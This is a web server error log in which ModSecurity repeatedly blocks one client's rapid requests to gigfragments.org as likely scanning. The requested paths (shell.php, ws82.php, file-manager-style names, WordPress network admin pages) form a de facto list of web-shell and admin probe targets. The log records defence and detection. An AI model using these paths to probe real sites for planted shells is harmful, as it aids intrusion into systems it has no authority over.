[Tue Apr 14 02:38:29.063598 2026] [:error] [pid 59913:tid 59938] [client 20.220.194.201:18416] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bmi.php"] [unique_id "ad04Ja5XvQ9C-gZtr2y8zQAAABU"]
[Tue Apr 14 02:38:29.492986 2026] [:error] [pid 59914:tid 59946] [client 20.220.194.201:18362] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bmi.php"] [unique_id "ad04Jeq0YMmB3OWbbUljCwAAAEI"]
[Tue Apr 14 02:38:29.959073 2026] [:error] [pid 60317:tid 60353] [client 20.220.194.201:14351] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bmi.php"] [unique_id "ad04JbBo7Bc8I7P_P---OAAAAM0"]
[Tue Apr 14 02:38:30.393380 2026] [:error] [pid 59914:tid 59964] [client 20.220.194.201:28876] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypltspd.php"] [unique_id "ad04Juq0YMmB3OWbbUljDQAAAFQ"]
[Tue Apr 14 02:38:30.860366 2026] [:error] [pid 60317:tid 60360] [client 20.220.194.201:18408] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypltspd.php"] [unique_id "ad04JrBo7Bc8I7P_P---PwAAANQ"]
[Tue Apr 14 02:38:31.344293 2026] [:error] [pid 60317:tid 60343] [client 20.220.194.201:3762] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypltspd.php"] [unique_id "ad04J7Bo7Bc8I7P_P---RAAAAMM"]
[Tue Apr 14 02:38:32.068957 2026] [:error] [pid 59915:tid 59971] [client 20.220.194.201:14349] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypltspd.php"] [unique_id "ad04KIeTNdEemByf99hXxQAAAIA"]
[Tue Apr 14 02:38:32.634756 2026] [:error] [pid 59914:tid 59948] [client 20.220.194.201:32393] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "ad04KOq0YMmB3OWbbUljDwAAAEQ"]
[Tue Apr 14 02:38:33.274658 2026] [:error] [pid 60317:tid 60357] [client 20.220.194.201:18336] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "ad04KbBo7Bc8I7P_P---SwAAANE"]
[Tue Apr 14 02:38:34.136914 2026] [:error] [pid 60317:tid 60361] [client 20.220.194.201:28886] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "ad04KrBo7Bc8I7P_P---TwAAANU"]
[Tue Apr 14 02:38:34.973714 2026] [:error] [pid 59915:tid 59983] [client 20.220.194.201:3136] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "ad04KoeTNdEemByf99hXxwAAAIw"]
[Tue Apr 14 02:38:35.567858 2026] [:error] [pid 59914:tid 59959] [client 20.220.194.201:33667] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "ad04K-q0YMmB3OWbbUljFAAAAE8"]
[Tue Apr 14 02:38:36.307144 2026] [:error] [pid 60317:tid 60341] [client 20.220.194.201:28872] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "ad04LLBo7Bc8I7P_P---VgAAAME"]
[Tue Apr 14 02:38:37.258116 2026] [:error] [pid 59915:tid 59989] [client 20.220.194.201:3717] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "ad04LYeTNdEemByf99hXzgAAAJI"]
[Tue Apr 14 02:38:38.602489 2026] [:error] [pid 59915:tid 59980] [client 20.220.194.201:17898] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "ad04LoeTNdEemByf99hX0QAAAIk"]
[Tue Apr 14 02:38:41.192664 2026] [:error] [pid 59913:tid 59925] [client 20.220.194.201:19596] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/edit.php"] [unique_id "ad04Ma5XvQ9C-gZtr2y82QAAAAg"]
[Tue Apr 14 02:38:42.484721 2026] [:error] [pid 59913:tid 59941] [client 20.220.194.201:30591] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/edit.php"] [unique_id "ad04Mq5XvQ9C-gZtr2y84AAAABg"]
[Tue Apr 14 02:38:43.727145 2026] [:error] [pid 59915:tid 59980] [client 20.220.194.201:30550] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/edit.php"] [unique_id "ad04M4eTNdEemByf99hX6AAAAIk"]
[Tue Apr 14 02:38:45.076139 2026] [:error] [pid 59913:tid 59925] [client 20.220.194.201:28551] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/edit.php"] [unique_id "ad04Na5XvQ9C-gZtr2y86QAAAAg"]
[Tue Apr 14 02:38:45.919495 2026] [:error] [pid 59913:tid 59932] [client 20.220.194.201:16362] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws82.php"] [unique_id "ad04Na5XvQ9C-gZtr2y87wAAAA8"]
[Tue Apr 14 02:38:46.741590 2026] [:error] [pid 60317:tid 60358] [client 20.220.194.201:3140] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws82.php"] [unique_id "ad04NrBo7Bc8I7P_P---bAAAANI"]
[Tue Apr 14 02:38:47.815507 2026] [:error] [pid 59914:tid 59952] [client 20.220.194.201:31423] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws82.php"] [unique_id "ad04N-q0YMmB3OWbbUljHQAAAEg"]
[Tue Apr 14 02:38:48.611250 2026] [:error] [pid 59914:tid 59949] [client 20.220.194.201:28547] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws82.php"] [unique_id "ad04OOq0YMmB3OWbbUljIgAAAEU"]
[Tue Apr 14 02:38:49.258981 2026] [:error] [pid 59914:tid 59946] [client 20.220.194.201:32770] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "ad04Oeq0YMmB3OWbbUljJAAAAEI"]
[Tue Apr 14 02:38:50.140461 2026] [:error] [pid 59915:tid 59994] [client 20.220.194.201:31390] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "ad04OoeTNdEemByf99hYAAAAAJc"]
[Tue Apr 14 02:38:50.944220 2026] [:error] [pid 60317:tid 60357] [client 20.220.194.201:31735] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "ad04OrBo7Bc8I7P_P---dgAAANE"]
[Tue Apr 14 02:38:51.628020 2026] [:error] [pid 60317:tid 60340] [client 20.220.194.201:31734] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "ad04O7Bo7Bc8I7P_P---eQAAAMA"]
[Tue Apr 14 02:38:52.520281 2026] [:error] [pid 59915:tid 59972] [client 20.220.194.201:23988] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "ad04PIeTNdEemByf99hYDgAAAIE"]
[Tue Apr 14 02:38:53.125336 2026] [:error] [pid 59915:tid 59982] [client 20.220.194.201:28153] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "ad04PYeTNdEemByf99hYEgAAAIs"]
[Tue Apr 14 02:38:53.775155 2026] [:error] [pid 60317:tid 60351] [client 20.220.194.201:37528] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "ad04PbBo7Bc8I7P_P---hQAAAMs"]
[Tue Apr 14 02:38:54.404417 2026] [:error] [pid 60317:tid 60349] [client 20.220.194.201:35339] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "ad04PrBo7Bc8I7P_P---iAAAAMk"]
[Tue Apr 14 02:38:55.079408 2026] [:error] [pid 59915:tid 59983] [client 20.220.194.201:14857] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file-mancvgertdxz.php"] [unique_id "ad04P4eTNdEemByf99hYGwAAAIw"]
[Tue Apr 14 02:38:55.945056 2026] [:error] [pid 60317:tid 60357] [client 20.220.194.201:28565] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file-mancvgertdxz.php"] [unique_id "ad04P7Bo7Bc8I7P_P---iwAAANE"]
[Tue Apr 14 02:38:57.062184 2026] [:error] [pid 60317:tid 60346] [client 20.220.194.201:3304] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file-mancvgertdxz.php"] [unique_id "ad04QbBo7Bc8I7P_P---kAAAAMY"]
[Tue Apr 14 02:38:57.970381 2026] [:error] [pid 59915:tid 59975] [client 20.220.194.201:28157] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file-mancvgertdxz.php"] [unique_id "ad04QYeTNdEemByf99hYKgAAAIQ"]
[Tue Apr 14 02:38:58.859593 2026] [:error] [pid 59915:tid 59995] [client 20.220.194.201:35385] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "ad04QoeTNdEemByf99hYNAAAAJg"]
[Tue Apr 14 02:38:59.458372 2026] [:error] [pid 59914:tid 59967] [client 20.220.194.201:3591] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "ad04Q-q0YMmB3OWbbUljNAAAAFc"]
[Tue Apr 14 02:39:00.275529 2026] [:error] [pid 59914:tid 59958] [client 20.220.194.201:31736] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "ad04ROq0YMmB3OWbbUljNQAAAE4"]
[Tue Apr 14 02:39:00.981701 2026] [:error] [pid 59913:tid 59918] [client 20.220.194.201:20628] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "ad04RK5XvQ9C-gZtr2y8_AAAAAE"]
[Tue Apr 14 02:39:01.752596 2026] [:error] [pid 59914:tid 59956] [client 20.220.194.201:21438] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws57.php"] [unique_id "ad04Req0YMmB3OWbbUljOAAAAEw"]
[Tue Apr 14 02:39:02.821518 2026] [:error] [pid 59914:tid 59960] [client 20.220.194.201:23946] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws57.php"] [unique_id "ad04Ruq0YMmB3OWbbUljOgAAAFA"]
[Tue Apr 14 02:39:03.879048 2026] [:error] [pid 59915:tid 59990] [client 20.220.194.201:31696] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws57.php"] [unique_id "ad04R4eTNdEemByf99hYSwAAAJM"]
[Tue Apr 14 02:39:04.513317 2026] [:error] [pid 59914:tid 59966] [client 20.220.194.201:22214] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws57.php"] [unique_id "ad04SOq0YMmB3OWbbUljPgAAAFY"]
[Tue Apr 14 02:39:05.088287 2026] [:error] [pid 59915:tid 59985] [client 20.220.194.201:32794] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.qiodetme.php"] [unique_id "ad04SYeTNdEemByf99hYUQAAAI4"]
[Tue Apr 14 02:39:06.096756 2026] [:error] [pid 59915:tid 59989] [client 20.220.194.201:23978] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.qiodetme.php"] [unique_id "ad04SoeTNdEemByf99hYWAAAAJI"]
[Tue Apr 14 02:39:06.702550 2026] [:error] [pid 59915:tid 59984] [client 20.220.194.201:23504] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.qiodetme.php"] [unique_id "ad04SoeTNdEemByf99hYXQAAAI0"]
[Tue Apr 14 02:39:07.945838 2026] [:error] [pid 59914:tid 59951] [client 20.220.194.201:22249] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.qiodetme.php"] [unique_id "ad04S-q0YMmB3OWbbUljQwAAAEc"]
[Tue Apr 14 02:39:08.998314 2026] [:error] [pid 59915:tid 59975] [client 20.220.194.201:4000] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sodas.php"] [unique_id "ad04TIeTNdEemByf99hYYwAAAIQ"]
[Tue Apr 14 02:39:09.758120 2026] [:error] [pid 59915:tid 59979] [client 20.220.194.201:14699] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sodas.php"] [unique_id "ad04TYeTNdEemByf99hYZAAAAIg"]
[Tue Apr 14 02:39:29.022819 2026] [:error] [pid 60317:tid 60346] [client 20.220.194.201:30044] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws75.php"] [unique_id "ad04YbBo7Bc8I7P_P---5QAAAMY"]
[Tue Apr 14 02:39:30.193596 2026] [:error] [pid 59915:tid 59989] [client 20.220.194.201:4015] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws75.php"] [unique_id "ad04YoeTNdEemByf99hYfwAAAJI"]
[Tue Apr 14 02:39:30.852469 2026] [:error] [pid 59914:tid 59959] [client 20.220.194.201:21434] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws75.php"] [unique_id "ad04Yuq0YMmB3OWbbUljjwAAAE8"]
[Tue Apr 14 02:39:31.510458 2026] [:error] [pid 60317:tid 60354] [client 20.220.194.201:20442] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws75.php"] [unique_id "ad04Y7Bo7Bc8I7P_P---6QAAAM4"]
[Tue Apr 14 02:39:32.536479 2026] [:error] [pid 60317:tid 60360] [client 20.220.194.201:26803] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "ad04ZLBo7Bc8I7P_P---7AAAANQ"]
[Tue Apr 14 02:39:33.801830 2026] [:error] [pid 60317:tid 60342] [client 20.220.194.201:21391] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "ad04ZbBo7Bc8I7P_P---8AAAAMI"]
[Tue Apr 14 02:39:35.105665 2026] [:error] [pid 59913:tid 59939] [client 20.220.194.201:20142] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "ad04Z65XvQ9C-gZtr2y9HwAAABY"]
